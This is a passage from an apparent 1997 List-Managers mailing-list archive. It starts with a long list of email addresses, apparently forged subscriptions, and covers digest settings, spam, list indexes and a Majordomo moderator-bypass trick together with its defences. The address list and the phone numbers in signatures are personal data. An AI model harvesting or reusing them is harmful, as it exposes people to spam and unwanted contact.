71112.1620@compuserve.com abc46@juno.com alamo@netvigator.com albert.kooistra@tip.nl aljber@kuwait.net amazingvalues@usa.net Anderson_ajax@msn.com apex@ar.com.au artshell@aol.com baross@imagin.net bed8226@megahertz.njit.edu bigprofit@fullmkt.com black@engr.csulb.edu bobafett@hunter.ca bolsa@flop.engr.orst.edu buster@pc211-58.barksdale.af.mil canguros@hotmail.com capella@primenet.com capella@usr06.primenet.com caravita@public.iunet.it carissi@engr.csulb.edu charles1@netcom.com chknet@nuri.net chris@chrism.demon.co.uk clover@earthfriends.com cookie@cyberjunkie.com crazer@timenspace.com cskim@moak.chonbuk.ac.kr CTL@escape.com cxh0837@megahertz.njit.edu dblack@devry-phx.edu deen19@idt.net dividual@hotmail.com dtarn@uab.edu dung73@chollian.dacom.co.kr dynamite@webtv.net EAID-GO-PLANS2@emh6.korea.army.mil eblackwe@med.wayne.edu ecurb@intercom.it elee2@aries.ee.mcgill.ca eunk@csulb.edu Euros@worldnet.att.net Ewek@msn.com foxpro@idirect.com freeway@dm1.com gbryan@devry-phx.edu gioconda@ctrade.ctrade.it Gryphon@skylord.com hattrick@laplaza.org health711@savetrees.com hotbiz1@concentric.net hotline@usit.net hroscoe@beardsleygroup.com htran1@erols.com hyunlee@hyundai.hdec.co.kr IM4BUFFALO@postoffice.worldnet.att.net ital@promo.net itssy@mn.uswest.com jcroft@fox.nstn.ns.ca jean_luc@fullnet.net jennifer3@mrsu.com jgtech@nownuri.nowcom.co.kr jhb1@cybermailings.com jimh@mail2.quicknet.com joelcar@engr.csulb.edu johnkar@cris.com junecho@idt.net junjazz@nuri.net juseok@white.xtel.com jwchoi@geocities.com karen@onth.com keast@soback4.kornet.nm.kr keenk@erols.com lachico@aol.com landfall@soback.kornet.nm.kr ldo@engr.csulb.edu letters@rodney.net ljsuk@hyundai.hdec.co.kr lpeterson@pop3.sushiking.com lpeterson@sushiking.com luif@zahra.easynet.it lutnik@cartabianca.com lynnsgould@scomm2000.it m.iori@lol.shiny.it macaulay@intergate.bc.ca marc_bernardini@rcm.inet.it mario@Baskerville.it mark@galactica.it mattblack2@audiophile.com mattblack@audiophile.com matteo_aletti@rcm.inet.it mbail@flash.net melgibbo@aol.com melissa@series2000.com mlc777@fullmkt.com mnathan1@worldnet.att.net MPETER@AOL.COM NGAMMA@aol.com nguyel18@student.ucr.edu noreply@feefifofe.com Omnipotent-1@msn.com onesource@autoresponder.net pei@engr.csulb.edu pgaske@audiophile.com phant@rpi.edu postmaster@rcm.inet.it PPereira@usa.net qluu@polaris.umuc.edu quynhle@erols.com rckhrd_69@hotmail.com rein777@flash.net rick.mcclanahan@bigfoot.com RICKMAC@swbell.net rmcclana@gmu.edu rmcclana@osf1.gmu.edu robin.angst@juno.com robrota@texnet.it runaway@capital.net sales@quantcom.com Scott.Weiser@worldnet.att.net scott.weiser@worldnet.att.net sfnmzz@mbox.vol.it sillyslut@hotmail.com simmons@pacbell.net Skidout@aol.com smdept1@tulipd.dic.co.kr SmileySmak@aol.com sourceone@usa.net speed@paperuzz.net sphillip@usr.com squirel@webtv.net ssmith@paracomm.com susan140@juno.com sweetjan@ix.netcom.com sys21@nuri.net S_A_G_E@hotmail.com tildeath@nuri.net tlaz@infospace.com toddost@bham.mindspring.com tradelaw@onramp.net tran@addis.net trangle@msuvx2.memphis.edu trdchau@erols.com unk@mindspring.com utopia@freenet.hut.fi valentyn@dds.nl vayman@eden.rutgers.edu vert011@geocities.com wallace@ispam.net webrunner@foxnet.net wlaker@chollian.net wshaw@wantree.com.au wskjr@swbell.net Zoreo@chisp.net zybrgoat@ix.netcom.com From owner-list-managers-outgoing Wed Apr 23 16:53:02 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA29912 for list-managers-outgoing; Wed, 23 Apr 1997 15:59:57 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id PAA29904 for list-managers@greatcircle.com; Wed, 23 Apr 1997 15:59:53 -0700 (PDT) Received: from library.ummed.edu (library.ummed.edu [146.189.64.2]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id HAA25248 for ; Wed, 23 Apr 1997 07:31:41 -0700 (PDT) Received: (qmail 19738 invoked by uid 501); 23 Apr 1997 14:31:29 -0000 To: list-managers@greatcircle.com Cc: Vince Sabio Subject: Re: Suggestion for MLM Developers References: From: Norm Aleks Date: 23 Apr 1997 10:31:22 -0400 In-Reply-To: Vince Sabio's message of Tue, 22 Apr 1997 16:40:58 -0400 Message-ID: Lines: 20 X-Mailer: Gnus v5.4.39/Emacs 19.34 Sender: list-managers-owner@GreatCircle.COM Precedence: bulk [Vince Sabio ] > [Brian Crawford] > >I believe you can set DIGEST as a default option so all new > >subscriptions are DIGESTed. > > [...] it'd be nice to be able to subscribe and set DIGEST in one swell > foop. Just send the SET command along with the subscription confirmation. I.e. after "subscribe FOOBAR", reply to the confirmation request with OK SET FOOBAR DIGEST This is LISTSERV specific though ... maybe you should move it to LSTOWN-L? -- Norm Q: Some people claim they hear the voice of God. Is this true? A: They are much more likely to receive e-mail. From owner-list-managers-outgoing Wed Apr 23 17:07:24 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA04180 for list-managers-outgoing; Wed, 23 Apr 1997 16:23:47 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id PAA28459 for list-managers@greatcircle.com; Wed, 23 Apr 1997 15:50:03 -0700 (PDT) Received: from moose.ncia.net (moose.ncia.net [207.140.8.2]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id SAA15774 for ; Tue, 22 Apr 1997 18:30:06 -0700 (PDT) Received: from ncia99n.ncia.net (ncia99n.ncia.net [207.141.176.99]) by moose.ncia.net (8.6.12/8.6.12) with SMTP id VAA13781; Tue, 22 Apr 1997 21:29:10 -0400 Message-Id: <3.0.1.16.19970422212927.28bf9510@mailhost.ncia.net> X-Sender: gkfoote@mailhost.ncia.net X-Mailer: Windows Eudora Light Version 3.0.1 (16) Date: Tue, 22 Apr 1997 21:29:27 To: Ray Jones From: "Gary K. Foote" Subject: Re: The chutzpah award Cc: list-managers@GreatCircle.COM In-Reply-To: References: <009B315D.B72B5246.5@sacto.mp.usbr.gov> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Ha! I carried an unsubscribe-directions footer too, but have just moved it to a 'fronter'. It's amazing how little footers get read. Some people even quote the whole list message back to me with an unsubscribe 'request' as the last line... never seeing the unsubscribe directions just two carriage returns above. Duuuhhhh.... >I add a footer at the end of each message such as: > > >To unsubscribe, send "unsubscribe" to majordomo@foobar.com Gary K. Foote mailto:gf@listex.com ----------------------------------------------------- The List Exchange http://www.listex.com Increase your readership by trading list sponsorships Webbers.com http://www.webbers.com PO 3214, N.Conway, NH 03860 (603)356-2748 From owner-list-managers-outgoing Wed Apr 23 17:24:25 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA09084 for list-managers-outgoing; Wed, 23 Apr 1997 16:56:35 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id QAA08961 for ; Wed, 23 Apr 1997 16:56:10 -0700 (PDT) Received: from tardis.Tymnet.COM (tardis.tymnet.com [131.146.3.15]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id QAA09546 for ; Wed, 23 Apr 1997 16:58:09 -0700 (PDT) Received: (from jms@localhost) by tardis.Tymnet.COM (8.8.5/8.8.5) id QAA09970 for list-managers@greatcircle.com; Wed, 23 Apr 1997 16:55:52 -0700 (PDT) From: Joe Smith Message-Id: <199704232355.QAA09970@tardis.Tymnet.COM> Subject: Mail to AOL, MNS, NETCON, etc all hosed. To: list-managers@greatcircle.com Date: Wed, 23 Apr 1997 16:55:51 -0700 (PDT) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk My other ISP posted this warning today: > From: dillon@flea.best.net (Matt Dillon) > Newsgroups: best.status,best.general > Subject: MSN, AOL, and NETCOM mail down. Mail's gonna be slow today > Date: 23 Apr 1997 12:16:55 -0700 > Organization: BEST Internet Communications, Inc. > > AOL's mail is fried > > MSN's mail is fried > > NETCOM's mail is fried > > Parts of sprintlink are down > > This means that our mail system is going to be somewhat bogged > down today... our mail queues are running at around 3x their > normal levels, and will probably grow to 6x before these other guys > fix their systems. There is nothing we can do about it. > > Can you believe MSN is trying to run the SMTP mail relay for their > entire user base off of four NT boxes? Sheesh. I didn't think it > was possible to cry and laugh at the same time, but I'm do'in it! > > -Matt From owner-list-managers-outgoing Wed Apr 23 17:42:40 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA00829 for list-managers-outgoing; Wed, 23 Apr 1997 16:03:35 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id QAA00787 for list-managers@greatcircle.com; Wed, 23 Apr 1997 16:03:27 -0700 (PDT) Received: from brickbat8.mindspring.com (brickbat8.mindspring.com [207.69.200.11]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id MAA20496 for ; Wed, 23 Apr 1997 12:05:38 -0700 (PDT) From: bh@digital.net Received: from user-37kbbnk.dialup.mindspring.com (user-37kbbnk.dialup.mindspring.com [207.69.174.244]) by brickbat8.mindspring.com (8.8.5/8.8.5) with SMTP id PAA05254; Wed, 23 Apr 1997 15:04:46 -0400 (EDT) To: arielle@taronga.com (Stephanie da Silva) Cc: list-managers@GreatCircle.COM Subject: Re: SparkNET - List Central - what's up. Date: Wed, 23 Apr 1997 18:59:34 GMT Reply-To: bh@digital.net Message-ID: <33da5b5f.136245214@mail.mindspring.com> References: <199704231826.NAA23881@bonkers.taronga.com> In-Reply-To: <199704231826.NAA23881@bonkers.taronga.com> X-Mailer: Forte Agent .99f/32.299 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Wed, 23 Apr 1997 13:26:48 -0500 (CDT), you wrote: >murr rhame:=20 >> On Wed, 23 Apr 1997, Christopher Knight wrote: >> > We are developing a complex and huge database of all lists on the >> > internet...starting with all Majordomo lists.=20 > >Hope you allow listowners a way to opt out of this if they desire.=20 Is there currently any standard for this along the lines of robot.txt for= www? If not, maybe we should think about trying to come up with one and then convincing archiving programs to use it. Something like if you have = #No_archive as the last line in an info line then that list is not to be put into any= lists like that or if you have it at the bottom of the lists output it means no= lists at you site are to be put on any lists. Granted, a lot of people will not use it, but it would be nice to have = something like that and if we could get the bit search engines that go out looking = for mailing lists to archive to use it it would make them much less of a = problem since it would give list owners an automatic way to "op-out" of these = automatic robots that go looking for lists. Brian From owner-list-managers-outgoing Wed Apr 23 17:43:49 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA05074 for list-managers-outgoing; Wed, 23 Apr 1997 16:29:39 -0700 (PDT) Received: from colossus.arl.mil (colossus.arl.mil [131.218.204.98]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id QAA05016 for ; Wed, 23 Apr 1997 16:29:16 -0700 (PDT) Received: from [131.218.204.98] by colossus.arl.mil with ESMTP (Eudora Internet Mail Server 1.1.2); Wed, 23 Apr 1997 19:32:40 -0400 Message-Id: In-Reply-To: <199704232122.RAA13791@hahp9k.harte-lyne.ca> References: <199704231826.NAA23881@bonkers.taronga.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Organization: Little to None X-Mailer: Eudora 3.0 for Cray Y-MP Date: Wed, 23 Apr 1997 19:30:01 -0400 To: List-Managers@GreatCircle.COM From: Vince Sabio Subject: Re: SparkNET - List Central - what's up. Sender: list-managers-owner@GreatCircle.COM Precedence: bulk ** Sometime around 17:17 -0005 4/23/97, James B. Byrne said: >Perhaps this displays my profound ignorance but why don't the >"list" indices only provide a "contact" e-mail address >rather than the list addresses. Then the value of having the >information readily accessible is maintained, but in a format only >really of use to an individual seeking a list on a specific >subject. I actually keep pretty close tabs, whenever possible, on where requests are coming in from. (This can only be done in a limited way, and primarily for Web pages -- and also requires certain key parameters to be in effect for it all to work. Nevertheless ...) I receive enough subscriptions every day from Liszt alone that I'd probably withdraw my list from there if all they provided was the contact address. OTOH, it'd be a good idea for the search engines to allow the list owner to provide whatever information he deems appropriate for his list. PAML does this; it should probably be the rule instead of the exception. Of course, that means more work for the site owners, and probably reduces the overall utility of the site, which means fewer "impressions," which means less money -- for more work. Hence the default. - Vince S. wavelet@colossus.arl.mil -- For info on HumourNet--the Internet's moderated mailing list for humor-- send the command INFO HUMORNET (only one U) to listproc@csf.colorado.edu -- Because The Only GOOD Spammer is a DEAD Spammer From owner-list-managers-outgoing Wed Apr 23 17:53:35 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA04230 for list-managers-outgoing; Wed, 23 Apr 1997 16:24:02 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id PAA28555 for list-managers@greatcircle.com; Wed, 23 Apr 1997 15:50:50 -0700 (PDT) Received: from mailbox.neosoft.com (mailbox.neosoft.com [206.109.1.16]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id SAA18037 for ; Tue, 22 Apr 1997 18:45:18 -0700 (PDT) Received: from praline.no.neosoft.com (praline.no.NeoSoft.COM [206.27.160.253]) by mailbox.neosoft.com (8.8.4/8.8.3) with SMTP id UAA28681 for ; Tue, 22 Apr 1997 20:45:22 -0500 (CDT) Date: Tue, 22 Apr 1997 20:45:21 -0500 (CDT) From: Ray Jones cc: list-managers@GreatCircle.COM Subject: Re: The chutzpah award In-Reply-To: <3.0.1.16.19970422212927.28bf9510@mailhost.ncia.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Tue, 22 Apr 1997, Gary K. Foote wrote: > >I add a footer at the end of each message such as: > > > >To unsubscribe, send "unsubscribe" to majordomo@foobar.com > Ha! I carried an unsubscribe-directions footer too, but have just moved it > to a 'fronter'. It's amazing how little footers get read. Some people I'd thought of that, but figured it would look sort of stupid there. At present, I'm not having any problems anyway, but if I do, I might do that. > even quote the whole list message back to me with an unsubscribe 'request' > as the last line... never seeing the unsubscribe directions just two > carriage returns above. Duuuhhhh.... Yeah, they do that, but then the ones that do are the ones that don't edit their messages very well anyway so I doubt it would make any difference. -- Regards, Ray Jones **************************************************************** Coming to New Orleans? Contact "Big Ray the Buggy Driver" Licensed Tour Guide Historical Tours through the romantic French Quarter in New Orleans in a mule-drawn "vis-a-vis" carriage while enjoying its ambiance and hear about our history, sites of interest and way of life. Cellular Phone 504-884-9572 Digital Beeper 504-547-8032 CURRENTLY ON SABBATICAL AND NOT WORKING ray.jones@mail.sstar.com http://www.neosoft.com/~rayjones/welcome.html "Big Ray's" New Orleans Mailing List Instructions To SUBSCRIBE: send "subscribe noml" TO: majordomo@communique.net From owner-list-managers-outgoing Wed Apr 23 17:58:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA00446 for list-managers-outgoing; Wed, 23 Apr 1997 16:01:47 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id QAA00382 for list-managers@greatcircle.com; Wed, 23 Apr 1997 16:01:31 -0700 (PDT) Received: from heimdall-nf1.usafa.af.mil (HEIMDALL.USAFA.AF.MIL [204.34.211.17]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id HAA26976 for ; Wed, 23 Apr 1997 07:47:05 -0700 (PDT) Received: from www.usafa.af.mil by heimdall-nf1.usafa.af.mil via smtpd (for honor.greatcircle.com [198.102.244.44]) with SMTP; 23 Apr 1997 14:47:13 UT Received: from vulcan.usafa.af.mil by atlas.usafa.af.mil (SMI-8.6/SMI-SVR4) id IAA09896; Wed, 23 Apr 1997 08:43:57 -0600 Received: from hellcat by vulcan.usafa.af.mil (SMI-8.6/SMI-SVR4) id IAA14623; Wed, 23 Apr 1997 08:41:21 -0600 From: satin@vulcan.usafa.af.mil (Satin Zeine-Johnson) Received: by hellcat (SMI-8.6) id IAA08680; Wed, 23 Apr 1997 08:45:09 -0600 Date: Wed, 23 Apr 1997 08:45:09 -0600 Message-Id: <199704231445.IAA08680@hellcat> To: crawford@mcs.com Subject: Re: Suggestion for MLM Developers Cc: List-Managers@GreatCircle.COM X-Sun-Charset: US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > At 02:37 PM 4/22/97 -0400, Vince Sabio wrote: > > >On one of the discussion lists that I recently inherited, someone contacted > >me to ask whether it was possible to subscribe to DIGEST mode *immediately* > >upon subscribing to the list (note that the list is on a ListServ, and > >is configured for subscription confirmations). > > If you have them send their mail to: list-name-digest-request@yourdomain.org (or whatever) they will subscribe directly to the list. For example, I have a military literature discussion list here at the Academy. I have two different config files - one is military-lit-digest.config and one is military-lit.config. Duplicate files for everything, with just the -digest added. Has its own directory under digests, etc. That way, users can subscribe to this list by sending mail to: military-lit-request@usafa.af.mil or to the digest by sending mail to military-lit-digest-request@usafa.af.mil or to either one by sending mail to majordomo@usafa.af.mil with subscribe military-lit-digest doejj.dfeng@usafa.af.mil Hope that helps! Satin Zeine-Johnson, GS-12, DAF USAFA Internet Services Administator/Postmaster 10th ComSq/SCBNI, US Air Force Academy http://www.usafa.af.mil/ O- Dea Reticula Computers are like Old Testament gods; lots of rules and no mercy. -- Joseph Campbell "This content in no way reflects the opinions, standards, or policy of the United States Air Force Academy or the United States government." From owner-list-managers-outgoing Wed Apr 23 18:09:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA00708 for list-managers-outgoing; Wed, 23 Apr 1997 16:02:54 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id QAA00627 for list-managers@greatcircle.com; Wed, 23 Apr 1997 16:02:41 -0700 (PDT) Received: from colossus.arl.mil (colossus.arl.mil [131.218.204.98]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id KAA03684 for ; Wed, 23 Apr 1997 10:02:08 -0700 (PDT) Received: from [131.218.204.98] by colossus.arl.mil with ESMTP (Eudora Internet Mail Server 1.1.2); Wed, 23 Apr 1997 13:05:55 -0400 Message-Id: In-Reply-To: References: Vince Sabio's message of Tue, 22 Apr 1997 16:40:58 -0400 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Organization: Little to None X-Mailer: Eudora 3.0 for Cray Y-MP Date: Wed, 23 Apr 1997 13:05:41 -0400 To: list-managers@greatcircle.com From: Vince Sabio Subject: Re: Suggestion for MLM Developers Sender: list-managers-owner@GreatCircle.COM Precedence: bulk ** Sometime around 10:31 -0400 4/23/97, Norm Aleks sent everyone: >[Vince Sabio ] >> [Brian Crawford] >> >I believe you can set DIGEST as a default option so all new >> >subscriptions are DIGESTed. >> >> [...] it'd be nice to be able to subscribe and set DIGEST in one swell >> foop. > >Just send the SET command along with the subscription confirmation. >I.e. after "subscribe FOOBAR", reply to the confirmation request with > OK > SET FOOBAR DIGEST The problem is that it requires TWO different approaches to subscribing to mailing lists. Approach #1 (for non-confirmed subscriptions): subscribe mylist myname set mylist digest Approach #2 (for confirmed subscriptions): subscribe mylist myname set mylist digest (wait for magic cookie, *and* get confusing error message on "digest" command, saying that I'm not subscribed -- and yes, newbies DO find the "not subscribed" message to be confusing) ok set mylist digest For newbies, this is simply too complex. All I'm suggesting is that MLMs recognize and properly process Approach #1 in *BOTH* cases -- confirmed subscriptions and unconfirmed subscriptions. Lyris does this. It's not all that difficult to implement. And it makes things MUCH easier for newbies. Is that too much to ask? - Vince Sabio orionsoft@telephonet.com -- If you run a mailing list and are tired of manually processing mail bounces, then you probably need SmartBounce -- currently managing mailing lists in excess of 150,000 subscribers. For more information, send a blank email to or visit . -- From owner-list-managers-outgoing Wed Apr 23 18:18:51 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA16317 for list-managers-outgoing; Wed, 23 Apr 1997 14:47:09 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id OAA16023 for ; Wed, 23 Apr 1997 14:45:50 -0700 (PDT) Received: from hahp9k.harte-lyne.ca (hahp9k.harte-lyne.ca [205.206.207.101]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id OAA06682 for ; Wed, 23 Apr 1997 14:19:33 -0700 (PDT) Received: from u01 (charlton.harte-lyne.ca [205.206.207.30]) by hahp9k.harte-lyne.ca (8.7.5/8.7.5) with SMTP id RAA13791; Wed, 23 Apr 1997 17:22:00 -0400 (EDT) Message-Id: <199704232122.RAA13791@hahp9k.harte-lyne.ca> Comments: Authenticated sender is From: "James B. Byrne" Organization: Harte & Lyne Limited To: arielle@taronga.com (Stephanie da Silva), list-managers@GreatCircle.COM Date: Wed, 23 Apr 1997 17:17:09 -5 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: SparkNET - List Central - what's up. In-reply-to: <199704231826.NAA23881@bonkers.taronga.com> X-mailer: Pegasus Mail for Win32 (v2.53/R1) Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Perhaps this displays my profound ignorance but why don't the "list" indices only provide a "contact" e-mail address rather than the list addresses. Then the value of having the information readily accessible is maintained, but in a format only really of use to an individual seeking a list on a specific subject. Spamers are like other confidence operators, maximum bang for minimum buck. If an index only provides information sufficient to access to a mailing list subscription address rather than the list itself then the benefit of using such facilities for automated spambots will be much reduced, if not eliminated. Consequently the motivation for abusing such facilities will be reduced as well. Regards, Jim --- James B. Byrne Harte & Lyne Limited vox +1 905 561 1241 9 Brockley Drive fax +1 905 561 0757 Hamilton, Ontario ByrneJB@Harte-Lyne.ca Canada L8E 3C3 From owner-list-managers-outgoing Wed Apr 23 18:38:49 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA24029 for list-managers-outgoing; Wed, 23 Apr 1997 18:32:02 -0700 (PDT) Received: from [198.102.244.42] (pb520.greatcircle.com [198.102.244.42]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id SAA22857; Wed, 23 Apr 1997 18:21:04 -0700 (PDT) X-Sender: brent@honor.greatcircle.com Message-Id: In-Reply-To: <199704232107.RAA07376@couch.dnrc.bell-labs.com> References: <199704231959.PAA76848@mail1w-int.prodigy.net> from "Bonnie Scott" at Apr 23, 97 03:59:28 pm Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 23 Apr 1997 18:21:53 -0800 To: Dmitry Gorobets From: Brent Chapman Subject: Re: I think-this is.BIG secucrity HOLE Cc: list-managers@greatcircle.com, Tom Limoncelli , bonnie@staff.prodigy.com (Bonnie Scott) Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 5:07 PM -0400 4/23/97, Tom Limoncelli wrote: >Yes, if you want to override the moderator on a moderated mailing list >don't email to LIST@SITE, but mail to LIST-outgoing@SITE > >To defeat this, the admin should replace "LIST-outgoing" with >"LIST-secretword" and make sure that people can't find out what >"secretword" is. For example: > > 1. Configure Sendmail to not display it in the Received: headers. > 2. Make sure your /etc/aliases file can't be accessed by > untrustworthy users. (this may mean running your > mailing lists on a machine that only lets you in) > 3. Disable EXPN and VRFY (this should be done anyway). > >--tal Good summary. Two more points: 1) This is a Majordomo-specific issue; therefore, it doesn't belong on the List-Managers mailing list (which is for list management issues that are NOT specific to a particular piece of software). Itshould have been posted to the Majordomo-Users mailing list instead. 2) This very issue is discussed in the Majordomo Frequently Asked Questions file (, question 3.6). -Brent -- Brent Chapman Internet/intranet training and consulting, Brent@GreatCircle.COM specializing in network design and security. Great Circle Associates,Inc. Visit us at http://www.greatcircle.com/ From owner-list-managers-outgoing Wed Apr 23 20:09:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id TAA00181 for list-managers-outgoing; Wed, 23 Apr 1997 19:20:41 -0700 (PDT) Received: from kparker.nai.net (kparker.nai.net [208.133.166.213]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id TAA00156 for ; Wed, 23 Apr 1997 19:20:30 -0700 (PDT) Received: from localhost (admin@localhost) by kparker.nai.net (8.8.5/8.8.5) with SMTP id VAA10287 for ; Wed, 23 Apr 1997 21:23:08 -0400 Date: Wed, 23 Apr 1997 21:23:08 -0400 (EDT) From: Ken Parker To: List Managers Subject: Re: Updated list of forged addresses In-Reply-To: <199704232232.AAA15606@duticai.twi.tudelft.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Thu, 24 Apr 1997, Alexander Verbraeck wrote: > A whole new bunch of forged subscriptions came in the last 24 hours. > wallace@ispam.net Just a note, brought out on the SPAM-L list: This one is none other than everybody's favorite owner of Cyberpromo. Not that I condone illegal actions, but I had to get a chuckle out of this. Ken Parker From owner-list-managers-outgoing Wed Apr 23 23:08:15 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id WAA08939 for list-managers-outgoing; Wed, 23 Apr 1997 22:33:20 -0700 (PDT) Received: from wildride.schoneal.com (wildride.schoneal.com [206.81.38.2]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id WAA08931 for ; Wed, 23 Apr 1997 22:33:13 -0700 (PDT) Received: (from meo@localhost) by wildride.schoneal.com (8.6.11/8.6.11) id AAA21406 for List-Managers@GreatCircle.COM; Thu, 24 Apr 1997 00:32:31 -0500 Message-Id: <199704240532.AAA21406@wildride.schoneal.com> Subject: Re: Updated list of forged addresses To: List-Managers@GreatCircle.COM Date: Thu, 24 Apr 1997 00:32:31 -0500 (CDT) In-Reply-To: From: meo@schoneal.com (Miles O'Neal) Reply-To: meo@schoneal.com (Miles O'Neal) Organization: Schober O'Neal, Inc / Net Ads X-WWW-URL: http://www.schoneal.com/~meo/ X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk I am turning off anything from either of the following: cyberpromo.com savetrees.com I'm averaging several per day from these clowns. -Miles From owner-list-managers-outgoing Thu Apr 24 03:08:24 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id CAA01174 for list-managers-outgoing; Thu, 24 Apr 1997 02:58:30 -0700 (PDT) Received: from proxy2.ba.best.com (proxy2.ba.best.com [206.184.139.13]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id CAA01153 for ; Thu, 24 Apr 1997 02:58:14 -0700 (PDT) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy2.ba.best.com (8.8.5/8.8.3) with ESMTP id CAA21808 for ; Thu, 24 Apr 1997 02:58:07 -0700 (PDT) Received: (from cnorman@localhost) by shellx.best.com (8.8.5/8.8.3) id CAA06355; Thu, 24 Apr 1997 02:26:30 -0700 (PDT) Date: Thu, 24 Apr 1997 02:26:30 -0700 (PDT) Message-Id: <199704240926.CAA06355@shellx.best.com> From: Cyndi Norman To: List-Managers@GreatCircle.COM CC: cnorman@shellx.best.com Subject: List Listings Reply-to: cnorman@best.com Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Date: Wed, 23 Apr 1997 19:30:01 -0400 From: Vince Sabio ** Sometime around 17:17 -0005 4/23/97, James B. Byrne said: >Perhaps this displays my profound ignorance but why don't the >"list" indices only provide a "contact" e-mail address >rather than the list addresses. Then the value of having the >information readily accessible is maintained, but in a format only >really of use to an individual seeking a list on a specific >subject. I prefer this too, but each list manager should be able to specify. My first choice is a link to my webpage. Then I get to control (and update) the info given and the user gets a full description of the list plus a full set of subscription instructions (best.com lists must use "Bestserv" software and it's not like anything else). Of course, this option only works for lists of lists on webpages. My next choice is a brief description of how to use the server software (with server address) plus a contact address for questions. If someone gives out the list address as a web link, I ask them to change it. I don't mind it when it's part of a full listing for my list. Though now I have subscribers-only posting set so it doesn't matter :). I also don't want a contact address only listing because then I get tons of "how do I subscribe?" letters. Cyndi -- _______________________________________________________________________________ "There's nothing wrong with me. Maybe there's Cyndi Norman something wrong with the universe." (ST:TNG) cnorman@best.com __________________________________________________ http://www.best.com/~cnorman From owner-list-managers-outgoing Thu Apr 24 07:53:41 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id FAA25565 for list-managers-outgoing; Thu, 24 Apr 1997 05:38:37 -0700 (PDT) Received: from kparker.nai.net (kparker.nai.net [208.133.166.213]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id FAA25509 for ; Thu, 24 Apr 1997 05:38:19 -0700 (PDT) Received: from localhost (admin@localhost) by kparker.nai.net (8.8.5/8.8.5) with SMTP id HAA14438; Thu, 24 Apr 1997 07:41:00 -0400 Date: Thu, 24 Apr 1997 07:41:00 -0400 (EDT) From: Ken Parker To: "Miles O'Neal" cc: List-Managers@GreatCircle.COM Subject: Re: Updated list of forged addresses In-Reply-To: 